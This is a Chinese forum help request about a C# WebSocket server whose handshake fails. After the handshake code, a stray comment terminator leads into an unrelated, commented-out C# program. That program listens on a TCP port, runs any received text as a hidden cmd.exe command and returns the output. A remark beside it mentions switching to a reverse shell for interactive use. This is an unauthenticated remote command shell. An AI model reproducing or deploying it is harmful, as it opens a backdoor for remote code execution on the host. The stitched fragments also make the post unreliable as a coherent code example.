握手不成功，是从博客园里找的，希望大家给点提示，帮忙修改一下，急用，谢谢了！

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Security.Cryptography;
using System.IO;
using SuperSocket.WebSocket;

namespace ConsoleService
{
class Program
{
static AutoResetEvent allDone = new AutoResetEvent(false);

static void Main(string[] args)
{
IPEndPoint localEP = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 40001);

Console.WriteLine("Local address and port : {0}", localEP.ToString());

Socket listener = new Socket(localEP.Address.AddressFamily,
SocketType.Stream, ProtocolType.Tcp);

try
{
listener.Bind(localEP);
listener.Listen(500);

while (true)
{
Socket sc = listener.Accept();
if (sc != null)
{
StateObject state = new StateObject();
state.workSocket = sc;
Console.WriteLine("Waiting for a connection...");
sc.BeginReceive(state.buffer, 0, StateObject.BufferSize, 0, new AsyncCallback(ReceiveCallback), state);

allDone.WaitOne();
}
}
}
catch (Exception e)
{
Console.WriteLine(e.ToString());
}

Console.WriteLine("Closing the listener...");
}

static void ReceiveCallback(IAsyncResult ar)
{
try
{
// Retrieve the state object and the client socket
// from the asynchronous state object.
StateObject state = (StateObject)ar.AsyncState;
Socket client = state.workSocket;
Console.WriteLine("接收自：" + state.workSocket.RemoteEndPoint.ToString());

// Read data from the remote device.
int bytesRead = client.EndReceive(ar);
allDone.Set();

if (bytesRead > 0)
{
System.Text.UTF8Encoding decoder = new System.Text.UTF8Encoding();
string browser = decoder.GetString(state.buffer, 0, bytesRead);
Console.WriteLine(browser);

string key = string.Empty;

Regex r = new Regex(@"Sec\-WebSocket\-Key:(.*?)\r\n"); //查找"Abc"
Match m = r.Match(browser); //设定要查找的字符串
if (m.Groups.Count != 0)
{
key = Regex.Replace(m.Value, @"Sec\-WebSocket\-Key:(.*?)\r\n", "$1").Trim();
}
Console.WriteLine("获取的客户端的KEY：" + key);

string secKeyAccept = Convert.ToBase64String(SHA1.Create().ComputeHash(Encoding.ASCII.GetBytes(key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11")));
Console.WriteLine("服务器端生成的KEY：" + secKeyAccept);

var responseBuilder = new StringBuilder();

responseBuilder.Append("HTTP/1.1 101 Switching Protocols" + Environment.NewLine);
responseBuilder.Append("Upgrade: websocket" + Environment.NewLine);
responseBuilder.Append("Connection: Upgrade" + Environment.NewLine);
responseBuilder.Append("Sec-WebSocket-Accept: " + secKeyAccept + Environment.NewLine);
responseBuilder.Append("Sec-WebSocket-Protocol: chat" + Environment.NewLine );
responseBuilder.Append( Environment.NewLine);

Console.WriteLine("服务器端欲发送信息：\r\n" + responseBuilder.ToString());

byte[] HandshakeText = Encoding.UTF8.GetBytes(responseBuilder.ToString());

state.workSocket.BeginSend(HandshakeText, 0, HandshakeText.Length, 0, new AsyncCallback(SendCallback), state);

}
}

catch (Exception e)
{
Console.WriteLine(e.ToString());
}
}

static void SendCallback(IAsyncResult ar)
{
StateObject state = (StateObject)ar.AsyncState;
Socket client = state.workSocket;
client.EndSend(ar);

Console.WriteLine("发送至：" + state.workSocket.RemoteEndPoint.ToString() + " 结束。");
Console.WriteLine("本应该握手成功的？！");

//byte[] msg = Encoding.UTF8.GetBytes("hello");
//state.workSocket.Send(msg);
}

}
public class StateObject
{
public Socket workSocket = null;
public const int BufferSize = 1024;
public byte[] buffer = new byte[BufferSize];
public StringBuilder sb = new StringBuilder();
}
}
*/

/*using System;
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
using System.Text;

namespace Server
{
class Program
{
static void Main(string[] args)
{
Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint point = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 55555);

try
{
server.Bind(point);
server.Listen(10);
//监听本地端口
System.Console.WriteLine("开始监听本地端口:55555");
while (true)
{
Socket sock = server.Accept();
byte[] buffer = new byte[1024 * 1024];
int n = sock.Receive(buffer);
String cmd = Encoding.UTF8.GetString(buffer, 0, n);
String result = execCmd(cmd);
byte[] bytes = Encoding.UTF8.GetBytes(result);
sock.Send(bytes);
}

}
catch (Exception ex)
{
System.Console.WriteLine(ex.Message);
return;
}
}

//重定向输入输出流，并且用cmd执行命令
private static String execCmd(String cmd)
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo = new System.Diagnostics.ProcessStartInfo();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
//隐藏程序外壳
p.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
//在这里重定向输出即可，因为不是交互式的，如果需要交互式的直接反弹cmd即可
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.CreateNoWindow = true;
p.Start();
return p.StandardOutput.ReadToEnd();
}
}
}